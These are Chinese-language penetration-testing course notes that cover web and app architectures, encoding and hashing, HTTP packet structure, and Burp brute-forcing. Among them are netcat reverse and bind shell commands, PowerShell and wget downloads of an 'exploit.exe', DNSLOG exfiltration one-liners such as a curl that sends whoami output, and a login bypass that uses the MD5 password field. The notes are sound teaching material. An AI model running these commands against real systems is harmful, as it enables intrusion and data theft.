小迪安全--基础讲解(1)
WEB服务搭建方式
常规化搭建
原理:直接将源码、中间件、数据库搭建在同一个服务器
影响:无,使用常规的渗透测试方法即可
站库分离
原理:源码和数据库不在同一个服务器
影响:数据被单独存放,能连接才可影响数据;比较安全
前后端分离
原理:前端JS框架,通过API传输数据
影响:
前端页面大部分不存在漏洞
后端管理大部分不在同域名
获得权限有可能不影响后端
集成软件搭建
原理:打包类的集成化环境。权限配置或受控制
影响:
默认情况下,使用phpstudy搭建获得的webshell的权限较大
使用灯塔搭建的网站,具有一定的安全机制
使用WAF搭建
WAF:WEB应用防火墙
影响:
常规的渗透方法可能被拦截,需要使用绕过WAF手法进行绕过
使用CDN
原理:内容分发服务,用户访问Web网站提供多地域响应,提高访问速度
影响:隐藏真实源IP,导致对目标测试错误
使用OSS存储桶
原理:提供对象存储服务
使用方式:
1、开通OSS
2、新建Bucket
3、配置Bucket属性
4、配置Access访问
影响:上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复上传安全
2、文件解析不一样
3、但存在Accesskey隐患
负载均衡
负载均衡就是一种计算机网络技术,用来在多个计算机(计算机集群)、网络连接、CPU、磁碟驱动器或其他资源中分配负载,以达到最佳化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的。
原理:分摊到多个操作单元上进行执行,共同完成工作任务
影响:有多个服务器加载服务,测试过程中存在多个目标情况
正反向代理
正向代理
正向代理是一种位于客户端和原始服务器之间的服务器,它接收客户端的请求并将其转发给原始服务器,然后将服务器的响应返回给客户端(不代理不可达)
2反向代理
通过网络反向代理转发真实服务达到访问目的影响:访问目标只是一个代理,非真实应用服务器
原理:通过网络反向代理转发真实服务达到访问目的影响:访问目标只是一个代理,非真实应用服务器
注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!
APP应用开发架构
1、原生开发
安卓一般使用java语言开发,当然现在也有kotlin语言进行开发。如何开发就涉及到具体编程了,这里就不详说了。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现。
2、使用H5语言开发
使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发。
3、使用flutter开发
flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低。
4、常规Web开发
Web App软件开发简单地说,就是开发一个网站,然后加入app的壳。Web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。
#APP-开发架构-原生态-IDEA
演示:remusic项目源码
安全影响:反编译&抓包&常规测试
安全影响:逆向的角度去分析逻辑设计安全
#APP-开发架构–Web封装-封装平台
演示:ShopXO源码程序+一门APP打包
安全影响:常规Web安全测试
#APP-开发架构-H5&Vue-HBuilderX
演示:HBuilderX案例
安全影响:API&JS框架安全问题&JS前端测试
#WX小程序-开发架构-Web封装-平台
演示:ShopXO源码程序+一门APP打包
安全影响:常规Web安全测试
#WX小程序-开发架构-H5&Vue-HBuilderX
演示:HBuilderX案例
安全影响:API&JS框架安全问题&JS前端测试
反弹SHELL
(攻击者视角)
正向连接:客户端进行监听本地端口,攻击者主动发送请求与客户端建立连接
反向连接:攻击者进行监听本地端口,客户端主动发送请求与攻击者建立连接
命令生成:https://forum.ywhack.com/shell.php
新版反弹:https://forum.ywhack.com/reverse-shell/
eg.Linux控制windows
①正向连接:
Linux: nc 192.168.138.130 5566
windows:nc -e cmd -lvvp 5566

②反向连接:
Linux: nc -lvvp 5566
Windows:nc -e cmd 192.168.138.141 5566

防火墙出入站
①当防火墙入站规则被进行过滤
阻止5566端口的入站规则
思路:攻击者监听本地端口,客户端主动连接攻击者
client:nc.exe -e cmd 192.168.138.141 5566
hacker:nc -lvvp 5566

注意:防火墙默认对出站过滤检测并不严格,对入站规则过滤检测较为严格(默认阻止入站连接,默认允许出站连接)
②当防火墙出站规则被进行过滤
阻止5566端口的出站规则(前提条件:允许5566的入站规则)
思路:客户端监听本地端口,攻击者主动连接客户端
client:nc.exe -e cmd -lvvp 5566
hacker:nc 192.168.138.132 5566
文件下载
文件下载命令生成:https://forum.ywhack.com/bountytips.php?download
Linux:wget curl python ruby perl java 等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32 等
Windows常用:
1 | powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/test.exe -OutFile exploit.exe" |
Linux常用:
1 | wget http://127.0.0.1:8080/test.exe -O exploit.exe |
数据不回显
使用数据访问外部DNSLOG的方式外带
常用dnslog:
1 | 管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号) |
Linux常用外带方法:
1 | curl http://haha.xxx.ceye.io/`whoami` |
Windows外带方法:
1 | ping %USERNAME%.GoldY.eyes.sh |
编码与加解密
编码
https://www.inkomet.com/detail.php?id=MQ==
进行测试的的语句:
https://www.inkomet.com/detail.php?id=2 ——–> 没有正确的回显
https://www.inkomet.com/detail.php?id=Mg== ———> 正确回显
数据在传输的时候进行编码 为什么要了解?
服务器在接受参数的可能会进行解码再带入,如果payload没有进行同样的编码,出入后端的数据就无法进行有效的测试
正确:测试的话也要进行pay1oad同样的加密或编码进行提交
安全测试漏洞时候 通常都会进行数据的修改增加提交测试
场景:登录的数据包
admin 123456
username=admin&password=e10adc3949ba59abbe56e057f20f883e
如果现在我要进行密码的破解爆破
字典文件:
帐号什么都不用更改 去替换username=值即可
密码需要进行密码算法 保证和password=值同等加密才行
加解密
针对对象
WEB
传输数据:
加密:md5
编码:base64
通常根据数据加密或编码的数据,进行相应payload加密或编码后,进行漏洞探测发现(漏洞探针)
数据格式:
- 常规方式
- JSON
- XML
在数据包使用不同数据格式时候,需要对payload进行相应的数据格式转换(发送漏洞探针,回显数据分析)
产品
不同的web网站可能采用的数据方式并不一致:如CMS Discuz不同版本采用不同的加密方式(MD5+salt、使用password_hash()函数进行加密)
密文存储加密方式:
- MD5
- MD5+SALT
- AES
- DES
系统
只要针对后测试
1、Windows
在Win10之前(包括win10)使用的用户密码加密方式为NTML
2、Linux
使用的是md5+salt方式进行存储用户密码
一般情况难以进行破解
代码
- java
- .net
- 安卓
- ios
有时为了保护源代码可能会对代码进行二次加密
千古互动 免费PHP加密 - SG11,SG13,SG14,SG15,Phpencode.cn,SG11加密平台,PHP加密平台,免费PHP加密,PHP在线加密
php在线混淆加密,支持php5和php7代码在线加密混淆-在线工具网
逆向思路
1、看密文的特征分析算法
2、获取源码分析算法(后端加密)
3、JS前端进行加密(前端加密)
识别并解密
单向散列加密 -MD5
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
常见的单向散列加密算法有:
MD5 SHA MAC CRC对称加密 -AES
对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
DES AES RC4非对称加密 -RSA
非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS
MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 和 32位
解密需求:密文即可,但复杂明文可能解不出
BASE64编码特点:
0、大小写区分,通过数字和字母的组合
1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
2、明文越长密文越长,一般不会出现”/“”+”在密文中
AES、DES密文特点:
同BASE64基本类似,但一般会出现”/“和”+”在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出
RSA密文特点:
特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出
数据传输格式
在进行安全测试时,通过使用抓包工具进行抓包,必须按照目标系统的数据格式发送数据,否则会导致测试无效。
常规格式
1 | username=admin&password=e10adc3949ba59abbe56e057f20f883e |
最常使用的数据包传输格式,使用&符号进行连接不同的参数值
JSON
1 | { |
JSON是一种轻量级的数据交换格式,易于阅读和编写,广泛应用于Web应用程序中。它的优点包括易于解析和生成,支持多种编程语言,数据结构简单且可嵌套。然而,JSON的数据体积相对较大。
XML
1 | <?xml version="1.0" encoding="UTF-8"?> |
XML是一种可扩展的标记语言,用于描述和传输结构化数据,常用于Web服务和配置文件中。它具有自我描述性和可扩展性,适用于复杂数据结构和文档的交换。然而,XML标签冗余,数据体积较大,解析和生成相对复杂。
HTTP数据包
HTTP请求方法
利用HTTP访问网站都有哪些请求方法,请求方法对应特点?
GET: 直接获取网站资源
POST: 客户端有信息要提交到服务端时(登录 搜索)
HEAD: 类似GET方法,不会返回响应主体信息
PUT: 用来将本地资源上传到服务端
OPTIONS: 用来检测服务端可以接收哪些访问请求(安全)
TRACE: 可以在响应报文中,看到请求报文的内容
HTTP请求报文信息

第一部分:请求行信息
1)请求方法信息:GET POST PUT HEAD …
2)请求资源信息:
host(访问网站域名/地址/端口)+请求资源
host: 确认访问站点目录
请求资源:三种情况
1 正常请求资源- oldboy.jpg
2 默认请求-/ /admin/ 请求首页文件-index.html index.php index.jsp
3 访问代码资源需要传入参数
协议(HTTP/HTTPS/FTP)+host(访问网站域名/地址/端口)+请求资源 – 请求信息 == URL
URL(Uniform Resource Locator,统一资源定位符),是标识Web资源的唯一标识符.通过它即可获取其标识的资源。
3)请求HTTP版本信息(1.1 2.0)
1.0 属于TCP短连接访问 一次连接对应一次请求
1.1 属于TCP长连接访问 一次连接对应多次请求
2.0 可以实现并发请求处理 适合电商网站
第二部分:请求头信息
请求过程各种字段信息:
Accept: 确认客户端请求资源类型信息
Referer: 消息头用于表示发出请求的原始URL;告知服务端是从哪访问过来的 (*****)
有referer:可以获得跳转源url地址信息(记录推广次数)
无referer:代表直接访问网站资源
视频网站:视频无法下载 会员登录 http://www.aiqiyi.com/vip/xxx -- vip电影
http://www.aiqiyi.com/ vip电影6分钟
修改请求信息:添加referer:http://www.aiqiyi.com/vip/xxx
Accept-Language:请求返回语言字符信息
User-Agent:消息头提供与浏览器或其他生成请求的客户端软件有关的信息;获取客户端指纹信息/客户端访问浏览器信息()
Accept-Encoding:浏览器支持的压缩编码是 gzip 和 deflate
Cookie:消息头用于提交服务器向客户端发布的其他参数 ()
HTTP属于无状态访问方式,不会记录访问者的身份信息,都需要输入用户名和密码
利用cooke记住用户访问情况:避免反复登录网站
cookie类型:
会话cookie:临时产生或短期应用
长期cookie:一般互联网网站
cookie属性:
secure: 如果设置这个属性.则仅在HTTPS请求中提交cookie. (*****)
Httponly: 如果设置这个属性,将无法通过客户端JavaScript直接访问cookie.
服务 识别用户访问行为
抖音网站 -- cookie 123
cookie 123 视频--美女 记录123 美女
cookie 123 视频--美女 记录123 美女
cookie 123 视频--美女 记录123 美女
推广 美女居多 体育 jd 苹果电脑 -- 苹果
Connection: 表示持久的客户端与服务连接;定义客户端与服务建立TCP连接方式(短连接/长连接)
X_FORWARDED_FOR:可以获取真实客户端IP地址信息;可以伪装自己客户端地址;
请求头里面添加X_FORWARDED_FOR
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
空行
第三个部分:请求主体信息
一般是利用post方法进行请求时,会含有请求主体信息(默认HTTP访问会已明文信息显示)
HTTP响应报文信息
第一个部分:响应行(起始行)信息
1)HTTP/1.1 响应的HTTP协议版本信息
2)200 状态码:返回请求结果
常用状态码分类:
1xx:提供信息(需要客户端提供信息)
2xx:请求被成功提交,并能够正确处理请求
3xx:客户端被重定向到其他资源 (重要部分)
4xx:请求包含某种错误 (客户端请求异常) – 显示错误页面
5xx:服务器执行请求时遇到错误 (服务端响应异常) – 检查服务端配置
常用状态有什么:面试问到
100 Continue: 表示服务端收到了客户端的请求信息(POST),但是没有收到请求主体信息
200 OK: 本状态码表示已成功提交请求,且响应主体中包含请求结果。
201 Created: 客户端进行PUT请求时,有数据文件上传到服务端成功后,会响应201状态码信息
301 Moved Permanently: 本状态码将浏览器永久重定向到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。
302 Found 本状态码将浏览器暂时重定向到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.
PS:网站页面跳转,可以对协议 对域名 对资源信息做跳转处理,以便用户在访问旧的资源信息时,可以获取到新的资源信息
304 Not Modified。 本状态码指示浏览器使用缓存中保存的所请求资源的副本。服务器使用If-Modified-Since与工If-None-Match消息头确定客户端是否拥有最新版本的资源。
401 Unauthorized. 服务器在许可请求前要求HTTP进行身份验证。WWW-Authenticate消息头详细说明所支持的身份验证类型。
参考链接:https://blog.csdn.net/chj_1224365967/article/details/113946038
第一步:编写配置文件
第二步:创建用户密码文件
第三步:重启nginx
403 Forbidden 本状态码指出,不管是否通过身份验证,禁止任何人访问被请求的资源。
参考链接:https://blog.csdn.net/yxhxj2006/article/details/121623574
访问首页文件不存在,也会出现此状态码
404 Not Found。 本状态码表示所请求的资源并不存在。
405 Method Not Allowed 本状态码表示指定的URL不支持请求中使用的方法。例如,如果试图在不支持PUT方法的地方使用该方法,就会收到本状态码。
服务端做了请求方法限制
500 Internal Server Error 本状态码表示服务器在执行请求时遇到错误。当提交无法预料的输人、在应用程序处理过程中造成无法处理的错误时,通常会收到本状态码。
应该仔细检查服务器响应的所有内容,了解与错误性质有关的详情。
PS:检查访问网站代码逻辑(代码审计)
503 Service Unavailable。 通常,本状态码表示尽管Web服务器运转正常.并且能够响应请求,但服务器访问的应用程序还是无法作出响应。应该进行核实,是否因为执行了某种行为而造成这个结果。
502 PS:需要访问后端数据库服务,但是后端数据库服务没有响应
第二个部分:响应头信息
第三个部分:响应主体信息
响应HTML代码信息,浏览器识别HTML代码加载页面
跨平台测试注意事项
在不同终端测试时,必须保证数据包结构与目标平台完全一致
eg.不同的设备访问同一web界面返回不一致
移动设备和PC访问同一接口可能返回不同数据
识别依据:User-Agent字段是主要设备标识
解决方法修改请求头模拟移动设备访问
- 需要完整复制移动端的请求头参数
- 特别是Android版本和设备型号信息
- 缺少移动端特有参数会导致403错误
根据状态码判断是否存在该文件或路径
- 文件存在判断:返回200表示文件存在且可访问;返回404表示文件不存在。
- 文件夹存在判断:返回403表示文件夹存在但无索引文件;若文件夹下有默认索引文件(如index.php),则返回200。
- 重定向判断:30X状态码可能表示文件存在触发跳转,也可能是不存在时的容错跳转,需结合具体情况分析。
burp进行目录爆破方法
操作流程
- 抓取目标网站请求包
- 在路径末尾添加变量标记(如§)
- 载入路径字典文件(包含_system、user等常见路径)
- 设置5个并发线程进行扫描
结果分析:通过对比状态码(200/403/404)识别有效路径,如index.php返回200表示存在
登录爆破技术
双重验证机制:发现系统同时验证明文密码和MD5加密密码,两者需同时正确才能登录
爆破技巧
- 使用Burp的Payload Processing功能自动生成MD5值
- 通过状态码差异判断(302跳转为成功,500为失败)
- 实际测试发现只需加密密码正确即可绕过验证
实战验证:通过修改数据包中的password_md5字段为已知MD5值成功登录